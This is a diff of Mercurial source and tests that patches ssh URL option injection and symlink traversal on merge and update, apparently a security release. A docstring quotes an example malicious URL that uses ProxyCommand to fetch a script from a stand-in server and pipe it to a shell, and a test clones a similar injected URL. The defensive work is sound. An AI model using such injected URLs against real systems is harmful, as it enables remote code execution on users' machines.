Show More
@@ -149,3 +149,4 b' 26c49ed51a698ec016d2b4c6b44ca3c3f73cc788' | |||||
149 | 857876ebaed4e315f63157bd157d6ce553c7ab73 0 iQIVAwUAWW9XW0emf/qjRqrOAQhI7A//cKXIM4l8vrWWsc1Os4knXm/2UaexmAwV70TpviKL9RxCy5zBP/EapCaGRCH8uNPOQTkWGR9Aucm3CtxhggCMzULQxxeH86mEpWf1xILWLySPXW/t2f+2zxrwLSAxxqFJtuYv83Pe8CnS3y4BlgHnBKYXH8XXuW8uvfc0lHKblhrspGBIAinx7vPLoGQcpYrn9USWUKq5d9FaCLQCDT9501FHKf5dlYQajevCUDnewtn5ohelOXjTJQClW3aygv/z+98Kq7ZhayeIiZu+SeP+Ay7lZPklXcy6eyRiQtGCa1yesb9v53jKtgxWewV4o6zyuUesdknZ/IBeNUgw8LepqTIJo6/ckyvBOsSQcda81DuYNUChZLYTSXYPHEUmYiz6CvNoLEgHF/oO5p6CZXOPWbmLWrAFd+0+1Tuq8BSh+PSdEREM3ZLOikkXoVzTKBgu4zpMvmBnjliBg7WhixkcG0v5WunlV9/oHAIpsKdL7AatU+oCPulp+xDpTKzRazEemYiWG9zYKzwSMk9Nc17e2tk+EtFSPsPo4iVCXMgdIZSTNBvynKEFXZQVPWVa+bYRdAmbSY8awiX7exxYL10UcpnN2q/AH/F7rQzAmo8eZ3OtD0+3Nk3JRx0/CMyzKLPYDpdUgwmaPb+s2Bsy7f7TfmA7jTa69YqB1/zVwlWULr0= |
|
149 | 857876ebaed4e315f63157bd157d6ce553c7ab73 0 iQIVAwUAWW9XW0emf/qjRqrOAQhI7A//cKXIM4l8vrWWsc1Os4knXm/2UaexmAwV70TpviKL9RxCy5zBP/EapCaGRCH8uNPOQTkWGR9Aucm3CtxhggCMzULQxxeH86mEpWf1xILWLySPXW/t2f+2zxrwLSAxxqFJtuYv83Pe8CnS3y4BlgHnBKYXH8XXuW8uvfc0lHKblhrspGBIAinx7vPLoGQcpYrn9USWUKq5d9FaCLQCDT9501FHKf5dlYQajevCUDnewtn5ohelOXjTJQClW3aygv/z+98Kq7ZhayeIiZu+SeP+Ay7lZPklXcy6eyRiQtGCa1yesb9v53jKtgxWewV4o6zyuUesdknZ/IBeNUgw8LepqTIJo6/ckyvBOsSQcda81DuYNUChZLYTSXYPHEUmYiz6CvNoLEgHF/oO5p6CZXOPWbmLWrAFd+0+1Tuq8BSh+PSdEREM3ZLOikkXoVzTKBgu4zpMvmBnjliBg7WhixkcG0v5WunlV9/oHAIpsKdL7AatU+oCPulp+xDpTKzRazEemYiWG9zYKzwSMk9Nc17e2tk+EtFSPsPo4iVCXMgdIZSTNBvynKEFXZQVPWVa+bYRdAmbSY8awiX7exxYL10UcpnN2q/AH/F7rQzAmo8eZ3OtD0+3Nk3JRx0/CMyzKLPYDpdUgwmaPb+s2Bsy7f7TfmA7jTa69YqB1/zVwlWULr0= | |
150 | 5544af8622863796a0027566f6b646e10d522c4c 0 iQIcBAABCAAGBQJZjJflAAoJELnJ3IJKpb3V19kQALCvTdPrpce5+rBNbFtLGNFxTMDol1dUy87EUAWiArnfOzW3rKBdYxvxDL23BpgUfjRm1fAXdayVvlj6VC6Dyb195OLmc/I9z7SjFxsfmxWilF6U0GIa3W0x37i05EjfcccrBIuSLrvR6AWyJhjLOBCcyAqD/HcEom00/L+o2ry9CDQNLEeVuNewJiupcUqsTIG2yS26lWbtLZuoqS2T4Nlg8wjJhiSXlsZSuAF55iUJKlTQP6KyWReiaYuEVfm/Bybp0A2bFcZCYpWPwnwKBdSCHhIalH8PO57gh9J7xJVnyyBg5PU6n4l6PrGOmKhNiU/xyNe36tEAdMW6svcVvt8hiY0dnwWqR6wgnFFDu0lnTMUcjsy5M5FBY6wSw9Fph8zcNRzYyaeUbasNonPvrIrk21nT3ET3RzVR3ri2nJDVF+0GlpogGfk9k7wY3808091BMsyV3448ZPKQeWiK4Yy4UOUwbKV7YAsS5MdDnC1uKjl4GwLn9UCY/+Q2/2R0CBZ13Tox+Nbo6hBRuRGtFIbLK9j7IIUhhZrIZFSh8cDNkC+UMaS52L5z7ECvoYIUpw+MJ7NkMLHIVGZ2Nxn0C7IbGO6uHyR7D6bdNpxilU+WZStHk0ppZItRTm/htar4jifnaCI8F8OQNYmZ3cQhxx6qV2Tyow8arvWb1NYXrocG |
|
150 | 5544af8622863796a0027566f6b646e10d522c4c 0 iQIcBAABCAAGBQJZjJflAAoJELnJ3IJKpb3V19kQALCvTdPrpce5+rBNbFtLGNFxTMDol1dUy87EUAWiArnfOzW3rKBdYxvxDL23BpgUfjRm1fAXdayVvlj6VC6Dyb195OLmc/I9z7SjFxsfmxWilF6U0GIa3W0x37i05EjfcccrBIuSLrvR6AWyJhjLOBCcyAqD/HcEom00/L+o2ry9CDQNLEeVuNewJiupcUqsTIG2yS26lWbtLZuoqS2T4Nlg8wjJhiSXlsZSuAF55iUJKlTQP6KyWReiaYuEVfm/Bybp0A2bFcZCYpWPwnwKBdSCHhIalH8PO57gh9J7xJVnyyBg5PU6n4l6PrGOmKhNiU/xyNe36tEAdMW6svcVvt8hiY0dnwWqR6wgnFFDu0lnTMUcjsy5M5FBY6wSw9Fph8zcNRzYyaeUbasNonPvrIrk21nT3ET3RzVR3ri2nJDVF+0GlpogGfk9k7wY3808091BMsyV3448ZPKQeWiK4Yy4UOUwbKV7YAsS5MdDnC1uKjl4GwLn9UCY/+Q2/2R0CBZ13Tox+Nbo6hBRuRGtFIbLK9j7IIUhhZrIZFSh8cDNkC+UMaS52L5z7ECvoYIUpw+MJ7NkMLHIVGZ2Nxn0C7IbGO6uHyR7D6bdNpxilU+WZStHk0ppZItRTm/htar4jifnaCI8F8OQNYmZ3cQhxx6qV2Tyow8arvWb1NYXrocG | |
151 | 943c91326b23954e6e1c6960d0239511f9530258 0 iQIcBAABCAAGBQJZjKKZAAoJELnJ3IJKpb3VGQkP/0iF6Khef0lBaRhbSAPwa7RUBb3iaBeuwmeic/hUjMoU1E5NR36bDDaF3u2di5mIYPBONFIeCPf9/DKyFkidueX1UnlAQa3mjh/QfKTb4/yO2Nrk7eH+QtrYxVUUYYjwgp4rS0Nd/++I1IUOor54vqJzJ7ZnM5O1RsE7VI1esAC/BTlUuO354bbm08B0owsZBwVvcVvpV4zeTvq5qyPxBJ3M0kw83Pgwh3JZB9IYhOabhSUBcA2fIPHgYGYnJVC+bLOeMWI1HJkJeoYfClNUiQUjAmi0cdTC733eQnHkDw7xyyFi+zkKu6JmU1opxkHSuj4Hrjul7Gtw3vVWWUPufz3AK7oymNp2Xr5y1HQLDtNJP3jicTTG1ae2TdX5Az3ze0I8VGbpR81/6ShAvY2cSKttV3I+2k4epxTTTf0xaZS1eUdnFOox6acElG2reNzx7EYYxpHj17K8N2qNzyY78iPgbJ+L39PBFoiGXMZJqWCxxIHoK1MxlXa8WwSnsXAU768dJvEn2N1x3fl+aeaWzeM4/5Qd83YjFuCeycuRnIo3rejSX3rWFAwZE0qQHKI5YWdKDLxIfdHTjdfMP7np+zLcHt0DV/dHmj2hKQgU0OK04fx7BrmdS1tw67Y9bL3H3TDohn7khU1FrqrKVuqSLbLsxnNyWRbZQF+DCoYrHlIW |
|
151 | 943c91326b23954e6e1c6960d0239511f9530258 0 iQIcBAABCAAGBQJZjKKZAAoJELnJ3IJKpb3VGQkP/0iF6Khef0lBaRhbSAPwa7RUBb3iaBeuwmeic/hUjMoU1E5NR36bDDaF3u2di5mIYPBONFIeCPf9/DKyFkidueX1UnlAQa3mjh/QfKTb4/yO2Nrk7eH+QtrYxVUUYYjwgp4rS0Nd/++I1IUOor54vqJzJ7ZnM5O1RsE7VI1esAC/BTlUuO354bbm08B0owsZBwVvcVvpV4zeTvq5qyPxBJ3M0kw83Pgwh3JZB9IYhOabhSUBcA2fIPHgYGYnJVC+bLOeMWI1HJkJeoYfClNUiQUjAmi0cdTC733eQnHkDw7xyyFi+zkKu6JmU1opxkHSuj4Hrjul7Gtw3vVWWUPufz3AK7oymNp2Xr5y1HQLDtNJP3jicTTG1ae2TdX5Az3ze0I8VGbpR81/6ShAvY2cSKttV3I+2k4epxTTTf0xaZS1eUdnFOox6acElG2reNzx7EYYxpHj17K8N2qNzyY78iPgbJ+L39PBFoiGXMZJqWCxxIHoK1MxlXa8WwSnsXAU768dJvEn2N1x3fl+aeaWzeM4/5Qd83YjFuCeycuRnIo3rejSX3rWFAwZE0qQHKI5YWdKDLxIfdHTjdfMP7np+zLcHt0DV/dHmj2hKQgU0OK04fx7BrmdS1tw67Y9bL3H3TDohn7khU1FrqrKVuqSLbLsxnNyWRbZQF+DCoYrHlIW | |
|
152 | 3fee7f7d2da04226914c2258cc2884dc27384fd7 0 iQIcBAABCAAGBQJZjOJfAAoJELnJ3IJKpb3VvikP/iGjfahwkl2BDZYGq6Ia64a0bhEh0iltoWTCCDKMbHuuO+7h07fHpBl/XX5XPnS7imBUVWLOARhVL7aDPb0tu5NZzMKN57XUC/0FWFyf7lXXAVaOapR4kP8RtQvnoxfNSLRgiZQL88KIRBgFc8pbl8hLA6UbcHPsOk4dXKvmfPfHBHnzdUEDcSXDdyOBhuyOSzRs8egXVi3WeX6OaXG3twkw/uCF3pgOMOSyWVDwD+KvK+IBmSxCTKXzsb+pqpc7pPOFWhSXjpbuYUcI5Qy7mpd0bFL3qNqgvUNq2gX5mT6zH/TsVD10oSUjYYqKMO+gi34OgTVWRRoQfWBwrQwxsC/MxH6ZeOetl2YkS13OxdmYpNAFNQ8ye0vZigJRA+wHoC9dn0h8c5X4VJt/dufHeXc887EGJpLg6GDXi5Emr2ydAUhBJKlpi2yss22AmiQ4G9NE1hAjxqhPvkgBK/hpbr3FurV4hjTG6XKsF8I0WdbYz2CW/FEbp1+4T49ChhrwW0orZdEQX7IEjXr45Hs5sTInT90Hy2XG3Kovi0uVMt15cKsSEYDoFHkR4NgCZX2Y+qS5ryH8yqor3xtel3KsBIy6Ywn8pAo2f8flW3nro/O6x+0NKGV+ZZ0uo/FctuQLBrQVs025T1ai/6MbscQXvFVZVPKrUzlQaNPf/IwNOaRa |
@@ -162,3 +162,4 b' 26c49ed51a698ec016d2b4c6b44ca3c3f73cc788' | |||||
162 | 857876ebaed4e315f63157bd157d6ce553c7ab73 4.3-rc |
|
162 | 857876ebaed4e315f63157bd157d6ce553c7ab73 4.3-rc | |
163 | 5544af8622863796a0027566f6b646e10d522c4c 4.3 |
|
163 | 5544af8622863796a0027566f6b646e10d522c4c 4.3 | |
164 | 943c91326b23954e6e1c6960d0239511f9530258 4.2.3 |
|
164 | 943c91326b23954e6e1c6960d0239511f9530258 4.2.3 | |
|
165 | 3fee7f7d2da04226914c2258cc2884dc27384fd7 4.3.1 |
@@ -382,7 +382,7 b' def overridewalk(orig, self, match, subr' | |||||
382 | visit.update(f for f in copymap |
|
382 | visit.update(f for f in copymap | |
383 | if f not in results and matchfn(f)) |
|
383 | if f not in results and matchfn(f)) | |
384 |
|
384 | |||
385 | audit = pathutil.pathauditor(self._root).check |
|
385 | audit = pathutil.pathauditor(self._root, cached=True).check | |
386 | auditpass = [f for f in visit if audit(f)] |
|
386 | auditpass = [f for f in visit if audit(f)] | |
387 | auditpass.sort() |
|
387 | auditpass.sort() | |
388 | auditfail = visit.difference(auditpass) |
|
388 | auditfail = visit.difference(auditpass) |
@@ -3539,7 +3539,7 b' def _performrevert(repo, parents, ctx, a' | |||||
3539 | pass |
|
3539 | pass | |
3540 | repo.dirstate.remove(f) |
|
3540 | repo.dirstate.remove(f) | |
3541 |
|
3541 | |||
3542 | audit_path = pathutil.pathauditor(repo.root) |
|
3542 | audit_path = pathutil.pathauditor(repo.root, cached=True) | |
3543 | for f in actions['forget'][0]: |
|
3543 | for f in actions['forget'][0]: | |
3544 | if interactive: |
|
3544 | if interactive: | |
3545 | choice = repo.ui.promptchoice( |
|
3545 | choice = repo.ui.promptchoice( |
@@ -1152,7 +1152,7 b' class dirstate(object):' | |||||
1152 | # that wasn't ignored, and everything that matched was stat'ed |
|
1152 | # that wasn't ignored, and everything that matched was stat'ed | |
1153 | # and is already in results. |
|
1153 | # and is already in results. | |
1154 | # The rest must thus be ignored or under a symlink. |
|
1154 | # The rest must thus be ignored or under a symlink. | |
1155 | audit_path = pathutil.pathauditor(self._root) |
|
1155 | audit_path = pathutil.pathauditor(self._root, cached=True) | |
1156 |
|
1156 | |||
1157 | for nf in iter(visit): |
|
1157 | for nf in iter(visit): | |
1158 | # If a stat for the same file was already added with a |
|
1158 | # If a stat for the same file was already added with a |
@@ -334,11 +334,11 b' class localrepository(object):' | |||||
334 | # only used when writing this comment: basectx.match |
|
334 | # only used when writing this comment: basectx.match | |
335 | self.auditor = pathutil.pathauditor(self.root, self._checknested) |
|
335 | self.auditor = pathutil.pathauditor(self.root, self._checknested) | |
336 | self.nofsauditor = pathutil.pathauditor(self.root, self._checknested, |
|
336 | self.nofsauditor = pathutil.pathauditor(self.root, self._checknested, | |
337 | realfs=False) |
|
337 | realfs=False, cached=True) | |
338 | self.baseui = baseui |
|
338 | self.baseui = baseui | |
339 | self.ui = baseui.copy() |
|
339 | self.ui = baseui.copy() | |
340 | self.ui.copy = baseui.copy # prevent copying repo configuration |
|
340 | self.ui.copy = baseui.copy # prevent copying repo configuration | |
341 | self.vfs = vfsmod.vfs(self.path) |
|
341 | self.vfs = vfsmod.vfs(self.path, cacheaudited=True) | |
342 | if (self.ui.configbool('devel', 'all-warnings') or |
|
342 | if (self.ui.configbool('devel', 'all-warnings') or | |
343 | self.ui.configbool('devel', 'check-locks')): |
|
343 | self.ui.configbool('devel', 'check-locks')): | |
344 | self.vfs.audit = self._getvfsward(self.vfs.audit) |
|
344 | self.vfs.audit = self._getvfsward(self.vfs.audit) | |
@@ -421,12 +421,13 b' class localrepository(object):' | |||||
421 | '"sparse" extensions to access')) |
|
421 | '"sparse" extensions to access')) | |
422 |
|
422 | |||
423 | self.store = store.store( |
|
423 | self.store = store.store( | |
424 |
|
|
424 | self.requirements, self.sharedpath, | |
|
425 | lambda base: vfsmod.vfs(base, cacheaudited=True)) | |||
425 | self.spath = self.store.path |
|
426 | self.spath = self.store.path | |
426 | self.svfs = self.store.vfs |
|
427 | self.svfs = self.store.vfs | |
427 | self.sjoin = self.store.join |
|
428 | self.sjoin = self.store.join | |
428 | self.vfs.createmode = self.store.createmode |
|
429 | self.vfs.createmode = self.store.createmode | |
429 | self.cachevfs = vfsmod.vfs(cachepath) |
|
430 | self.cachevfs = vfsmod.vfs(cachepath, cacheaudited=True) | |
430 | self.cachevfs.createmode = self.store.createmode |
|
431 | self.cachevfs.createmode = self.store.createmode | |
431 | if (self.ui.configbool('devel', 'all-warnings') or |
|
432 | if (self.ui.configbool('devel', 'all-warnings') or | |
432 | self.ui.configbool('devel', 'check-locks')): |
|
433 | self.ui.configbool('devel', 'check-locks')): |
@@ -33,13 +33,18 b' class pathauditor(object):' | |||||
33 | The file system checks are only done when 'realfs' is set to True (the |
|
33 | The file system checks are only done when 'realfs' is set to True (the | |
34 | default). They should be disable then we are auditing path for operation on |
|
34 | default). They should be disable then we are auditing path for operation on | |
35 | stored history. |
|
35 | stored history. | |
|
36 | ||||
|
37 | If 'cached' is set to True, audited paths and sub-directories are cached. | |||
|
38 | Be careful to not keep the cache of unmanaged directories for long because | |||
|
39 | audited paths may be replaced with symlinks. | |||
36 | ''' |
|
40 | ''' | |
37 |
|
41 | |||
38 | def __init__(self, root, callback=None, realfs=True): |
|
42 | def __init__(self, root, callback=None, realfs=True, cached=False): | |
39 | self.audited = set() |
|
43 | self.audited = set() | |
40 | self.auditeddir = set() |
|
44 | self.auditeddir = set() | |
41 | self.root = root |
|
45 | self.root = root | |
42 | self._realfs = realfs |
|
46 | self._realfs = realfs | |
|
47 | self._cached = cached | |||
43 | self.callback = callback |
|
48 | self.callback = callback | |
44 | if os.path.lexists(root) and not util.fscasesensitive(root): |
|
49 | if os.path.lexists(root) and not util.fscasesensitive(root): | |
45 | self.normcase = util.normcase |
|
50 | self.normcase = util.normcase | |
@@ -96,6 +101,7 b' class pathauditor(object):' | |||||
96 | self._checkfs(prefix, path) |
|
101 | self._checkfs(prefix, path) | |
97 | prefixes.append(normprefix) |
|
102 | prefixes.append(normprefix) | |
98 |
|
103 | |||
|
104 | if self._cached: | |||
99 | self.audited.add(normpath) |
|
105 | self.audited.add(normpath) | |
100 | # only add prefixes to the cache after checking everything: we don't |
|
106 | # only add prefixes to the cache after checking everything: we don't | |
101 | # want to add "foo/bar/baz" before checking if there's a "foo/.hg" |
|
107 | # want to add "foo/bar/baz" before checking if there's a "foo/.hg" |
@@ -23,6 +23,7 b' import unicodedata' | |||||
23 | from .i18n import _ |
|
23 | from .i18n import _ | |
24 | from . import ( |
|
24 | from . import ( | |
25 | encoding, |
|
25 | encoding, | |
|
26 | error, | |||
26 | pycompat, |
|
27 | pycompat, | |
27 | ) |
|
28 | ) | |
28 |
|
29 | |||
@@ -91,7 +92,13 b' def parsepatchoutput(output_line):' | |||||
91 | def sshargs(sshcmd, host, user, port): |
|
92 | def sshargs(sshcmd, host, user, port): | |
92 | '''Build argument list for ssh''' |
|
93 | '''Build argument list for ssh''' | |
93 | args = user and ("%s@%s" % (user, host)) or host |
|
94 | args = user and ("%s@%s" % (user, host)) or host | |
94 | return port and ("%s -p %s" % (args, port)) or args |
|
95 | if '-' in args[:1]: | |
|
96 | raise error.Abort( | |||
|
97 | _('illegal ssh hostname or username starting with -: %s') % args) | |||
|
98 | args = shellquote(args) | |||
|
99 | if port: | |||
|
100 | args = '-p %s %s' % (shellquote(port), args) | |||
|
101 | return args | |||
95 |
|
102 | |||
96 | def isexec(f): |
|
103 | def isexec(f): | |
97 | """check whether a file is executable""" |
|
104 | """check whether a file is executable""" |
@@ -738,7 +738,7 b' def _interestingfiles(repo, matcher):' | |||||
738 | This is different from dirstate.status because it doesn't care about |
|
738 | This is different from dirstate.status because it doesn't care about | |
739 | whether files are modified or clean.''' |
|
739 | whether files are modified or clean.''' | |
740 | added, unknown, deleted, removed, forgotten = [], [], [], [], [] |
|
740 | added, unknown, deleted, removed, forgotten = [], [], [], [], [] | |
741 | audit_path = pathutil.pathauditor(repo.root) |
|
741 | audit_path = pathutil.pathauditor(repo.root, cached=True) | |
742 |
|
742 | |||
743 | ctx = repo[None] |
|
743 | ctx = repo[None] | |
744 | dirstate = repo.dirstate |
|
744 | dirstate = repo.dirstate |
@@ -124,6 +124,8 b' class sshpeer(wireproto.wirepeer):' | |||||
124 | if u.scheme != 'ssh' or not u.host or u.path is None: |
|
124 | if u.scheme != 'ssh' or not u.host or u.path is None: | |
125 | self._abort(error.RepoError(_("couldn't parse location %s") % path)) |
|
125 | self._abort(error.RepoError(_("couldn't parse location %s") % path)) | |
126 |
|
126 | |||
|
127 | util.checksafessh(path) | |||
|
128 | ||||
127 | self.user = u.user |
|
129 | self.user = u.user | |
128 | if u.passwd is not None: |
|
130 | if u.passwd is not None: | |
129 | self._abort(error.RepoError(_("password in URL not supported"))) |
|
131 | self._abort(error.RepoError(_("password in URL not supported"))) | |
@@ -134,10 +136,7 b' class sshpeer(wireproto.wirepeer):' | |||||
134 | sshcmd = self.ui.config("ui", "ssh") |
|
136 | sshcmd = self.ui.config("ui", "ssh") | |
135 | remotecmd = self.ui.config("ui", "remotecmd") |
|
137 | remotecmd = self.ui.config("ui", "remotecmd") | |
136 |
|
138 | |||
137 | args = util.sshargs(sshcmd, |
|
139 | args = util.sshargs(sshcmd, self.host, self.user, self.port) | |
138 | _serverquote(self.host), |
|
|||
139 | _serverquote(self.user), |
|
|||
140 | _serverquote(self.port)) |
|
|||
141 |
|
140 | |||
142 | if create: |
|
141 | if create: | |
143 | cmd = '%s %s %s' % (sshcmd, args, |
|
142 | cmd = '%s %s %s' % (sshcmd, args, |
@@ -1281,6 +1281,10 b' class svnsubrepo(abstractsubrepo):' | |||||
1281 | # The revision must be specified at the end of the URL to properly |
|
1281 | # The revision must be specified at the end of the URL to properly | |
1282 | # update to a directory which has since been deleted and recreated. |
|
1282 | # update to a directory which has since been deleted and recreated. | |
1283 | args.append('%s@%s' % (state[0], state[1])) |
|
1283 | args.append('%s@%s' % (state[0], state[1])) | |
|
1284 | ||||
|
1285 | # SEC: check that the ssh url is safe | |||
|
1286 | util.checksafessh(state[0]) | |||
|
1287 | ||||
1284 | status, err = self._svncommand(args, failok=True) |
|
1288 | status, err = self._svncommand(args, failok=True) | |
1285 | _sanitize(self.ui, self.wvfs, '.svn') |
|
1289 | _sanitize(self.ui, self.wvfs, '.svn') | |
1286 | if not re.search('Checked out revision [0-9]+.', status): |
|
1290 | if not re.search('Checked out revision [0-9]+.', status): | |
@@ -1546,6 +1550,9 b' class gitsubrepo(abstractsubrepo):' | |||||
1546 |
|
1550 | |||
1547 | def _fetch(self, source, revision): |
|
1551 | def _fetch(self, source, revision): | |
1548 | if self._gitmissing(): |
|
1552 | if self._gitmissing(): | |
|
1553 | # SEC: check for safe ssh url | |||
|
1554 | util.checksafessh(source) | |||
|
1555 | ||||
1549 | source = self._abssource(source) |
|
1556 | source = self._abssource(source) | |
1550 | self.ui.status(_('cloning subrepo %s from %s\n') % |
|
1557 | self.ui.status(_('cloning subrepo %s from %s\n') % | |
1551 | (self._relpath, source)) |
|
1558 | (self._relpath, source)) |
@@ -2907,6 +2907,21 b' def hasdriveletter(path):' | |||||
2907 | def urllocalpath(path): |
|
2907 | def urllocalpath(path): | |
2908 | return url(path, parsequery=False, parsefragment=False).localpath() |
|
2908 | return url(path, parsequery=False, parsefragment=False).localpath() | |
2909 |
|
2909 | |||
|
2910 | def checksafessh(path): | |||
|
2911 | """check if a path / url is a potentially unsafe ssh exploit (SEC) | |||
|
2912 | ||||
|
2913 | This is a sanity check for ssh urls. ssh will parse the first item as | |||
|
2914 | an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path. | |||
|
2915 | Let's prevent these potentially exploited urls entirely and warn the | |||
|
2916 | user. | |||
|
2917 | ||||
|
2918 | Raises an error.Abort when the url is unsafe. | |||
|
2919 | """ | |||
|
2920 | path = urlreq.unquote(path) | |||
|
2921 | if path.startswith('ssh://-') or path.startswith('svn+ssh://-'): | |||
|
2922 | raise error.Abort(_('potentially unsafe url: %r') % | |||
|
2923 | (path,)) | |||
|
2924 | ||||
2910 | def hidepassword(u): |
|
2925 | def hidepassword(u): | |
2911 | '''hide user credential in a url string''' |
|
2926 | '''hide user credential in a url string''' | |
2912 | u = url(u) |
|
2927 | u = url(u) |
@@ -295,8 +295,13 b' class vfs(abstractvfs):' | |||||
295 |
|
295 | |||
296 | This class is used to hide the details of COW semantics and |
|
296 | This class is used to hide the details of COW semantics and | |
297 | remote file access from higher level code. |
|
297 | remote file access from higher level code. | |
|
298 | ||||
|
299 | 'cacheaudited' should be enabled only if (a) vfs object is short-lived, or | |||
|
300 | (b) the base directory is managed by hg and considered sort-of append-only. | |||
|
301 | See pathutil.pathauditor() for details. | |||
298 | ''' |
|
302 | ''' | |
299 |
def __init__(self, base, audit=True, expandpath=False, |
|
303 | def __init__(self, base, audit=True, cacheaudited=False, expandpath=False, | |
|
304 | realpath=False): | |||
300 | if expandpath: |
|
305 | if expandpath: | |
301 | base = util.expandpath(base) |
|
306 | base = util.expandpath(base) | |
302 | if realpath: |
|
307 | if realpath: | |
@@ -304,7 +309,7 b' class vfs(abstractvfs):' | |||||
304 | self.base = base |
|
309 | self.base = base | |
305 | self._audit = audit |
|
310 | self._audit = audit | |
306 | if audit: |
|
311 | if audit: | |
307 | self.audit = pathutil.pathauditor(self.base) |
|
312 | self.audit = pathutil.pathauditor(self.base, cached=cacheaudited) | |
308 | else: |
|
313 | else: | |
309 | self.audit = (lambda path, mode=None: True) |
|
314 | self.audit = (lambda path, mode=None: True) | |
310 | self.createmode = None |
|
315 | self.createmode = None |
@@ -17,6 +17,7 b' import sys' | |||||
17 | from .i18n import _ |
|
17 | from .i18n import _ | |
18 | from . import ( |
|
18 | from . import ( | |
19 | encoding, |
|
19 | encoding, | |
|
20 | error, | |||
20 | policy, |
|
21 | policy, | |
21 | pycompat, |
|
22 | pycompat, | |
22 | win32, |
|
23 | win32, | |
@@ -203,7 +204,14 b' def sshargs(sshcmd, host, user, port):' | |||||
203 | '''Build argument list for ssh or Plink''' |
|
204 | '''Build argument list for ssh or Plink''' | |
204 | pflag = 'plink' in sshcmd.lower() and '-P' or '-p' |
|
205 | pflag = 'plink' in sshcmd.lower() and '-P' or '-p' | |
205 | args = user and ("%s@%s" % (user, host)) or host |
|
206 | args = user and ("%s@%s" % (user, host)) or host | |
206 | return port and ("%s %s %s" % (args, pflag, port)) or args |
|
207 | if args.startswith('-') or args.startswith('/'): | |
|
208 | raise error.Abort( | |||
|
209 | _('illegal ssh hostname or username starting with - or /: %s') % | |||
|
210 | args) | |||
|
211 | args = shellquote(args) | |||
|
212 | if port: | |||
|
213 | args = '%s %s %s' % (pflag, shellquote(port), args) | |||
|
214 | return args | |||
207 |
|
215 | |||
208 | def setflags(f, l, x): |
|
216 | def setflags(f, l, x): | |
209 | pass |
|
217 | pass |
@@ -129,3 +129,103 b' attack /tmp/test' | |||||
129 | [255] |
|
129 | [255] | |
130 |
|
130 | |||
131 | $ cd .. |
|
131 | $ cd .. | |
|
132 | ||||
|
133 | Test symlink traversal on merge: | |||
|
134 | -------------------------------- | |||
|
135 | ||||
|
136 | #if symlink | |||
|
137 | ||||
|
138 | set up symlink hell | |||
|
139 | ||||
|
140 | $ mkdir merge-symlink-out | |||
|
141 | $ hg init merge-symlink | |||
|
142 | $ cd merge-symlink | |||
|
143 | $ touch base | |||
|
144 | $ hg commit -qAm base | |||
|
145 | $ ln -s ../merge-symlink-out a | |||
|
146 | $ hg commit -qAm 'symlink a -> ../merge-symlink-out' | |||
|
147 | $ hg up -q 0 | |||
|
148 | $ mkdir a | |||
|
149 | $ touch a/poisoned | |||
|
150 | $ hg commit -qAm 'file a/poisoned' | |||
|
151 | $ hg log -G -T '{rev}: {desc}\n' | |||
|
152 | @ 2: file a/poisoned | |||
|
153 | | | |||
|
154 | | o 1: symlink a -> ../merge-symlink-out | |||
|
155 | |/ | |||
|
156 | o 0: base | |||
|
157 | ||||
|
158 | ||||
|
159 | try trivial merge | |||
|
160 | ||||
|
161 | $ hg up -qC 1 | |||
|
162 | $ hg merge 2 | |||
|
163 | abort: path 'a/poisoned' traverses symbolic link 'a' | |||
|
164 | [255] | |||
|
165 | ||||
|
166 | try rebase onto other revision: cache of audited paths should be discarded, | |||
|
167 | and the rebase should fail (issue5628) | |||
|
168 | ||||
|
169 | $ hg up -qC 2 | |||
|
170 | $ hg rebase -s 2 -d 1 --config extensions.rebase= | |||
|
171 | rebasing 2:e73c21d6b244 "file a/poisoned" (tip) | |||
|
172 | abort: path 'a/poisoned' traverses symbolic link 'a' | |||
|
173 | [255] | |||
|
174 | $ ls ../merge-symlink-out | |||
|
175 | ||||
|
176 | $ cd .. | |||
|
177 | ||||
|
178 | Test symlink traversal on update: | |||
|
179 | --------------------------------- | |||
|
180 | ||||
|
181 | $ mkdir update-symlink-out | |||
|
182 | $ hg init update-symlink | |||
|
183 | $ cd update-symlink | |||
|
184 | $ ln -s ../update-symlink-out a | |||
|
185 | $ hg commit -qAm 'symlink a -> ../update-symlink-out' | |||
|
186 | $ hg rm a | |||
|
187 | $ mkdir a && touch a/b | |||
|
188 | $ hg ci -qAm 'file a/b' a/b | |||
|
189 | $ hg up -qC 0 | |||
|
190 | $ hg rm a | |||
|
191 | $ mkdir a && touch a/c | |||
|
192 | $ hg ci -qAm 'rm a, file a/c' | |||
|
193 | $ hg log -G -T '{rev}: {desc}\n' | |||
|
194 | @ 2: rm a, file a/c | |||
|
195 | | | |||
|
196 | | o 1: file a/b | |||
|
197 | |/ | |||
|
198 | o 0: symlink a -> ../update-symlink-out | |||
|
199 | ||||
|
200 | ||||
|
201 | try linear update where symlink already exists: | |||
|
202 | ||||
|
203 | $ hg up -qC 0 | |||
|
204 | $ hg up 1 | |||
|
205 | abort: path 'a/b' traverses symbolic link 'a' | |||
|
206 | [255] | |||
|
207 | ||||
|
208 | try linear update including symlinked directory and its content: paths are | |||
|
209 | audited first by calculateupdates(), where no symlink is created so both | |||
|
210 | 'a' and 'a/b' are taken as good paths. still applyupdates() should fail. | |||
|
211 | ||||
|
212 | $ hg up -qC null | |||
|
213 | $ hg up 1 | |||
|
214 | abort: path 'a/b' traverses symbolic link 'a' | |||
|
215 | [255] | |||
|
216 | $ ls ../update-symlink-out | |||
|
217 | ||||
|
218 | try branch update replacing directory with symlink, and its content: the | |||
|
219 | path 'a' is audited as a directory first, which should be audited again as | |||
|
220 | a symlink. | |||
|
221 | ||||
|
222 | $ rm -f a | |||
|
223 | $ hg up -qC 2 | |||
|
224 | $ hg up 1 | |||
|
225 | abort: path 'a/b' traverses symbolic link 'a' | |||
|
226 | [255] | |||
|
227 | $ ls ../update-symlink-out | |||
|
228 | ||||
|
229 | $ cd .. | |||
|
230 | ||||
|
231 | #endif |
@@ -1097,3 +1097,66 b' pooled".' | |||||
1097 | adding remote bookmark bookA |
|
1097 | adding remote bookmark bookA | |
1098 | updating working directory |
|
1098 | updating working directory | |
1099 | 1 files updated, 0 files merged, 0 files removed, 0 files unresolved |
|
1099 | 1 files updated, 0 files merged, 0 files removed, 0 files unresolved | |
|
1100 | ||||
|
1101 | SEC: check for unsafe ssh url | |||
|
1102 | ||||
|
1103 | $ cat >> $HGRCPATH << EOF | |||
|
1104 | > [ui] | |||
|
1105 | > ssh = sh -c "read l; read l; read l" | |||
|
1106 | > EOF | |||
|
1107 | ||||
|
1108 | $ hg clone 'ssh://-oProxyCommand=touch${IFS}owned/path' | |||
|
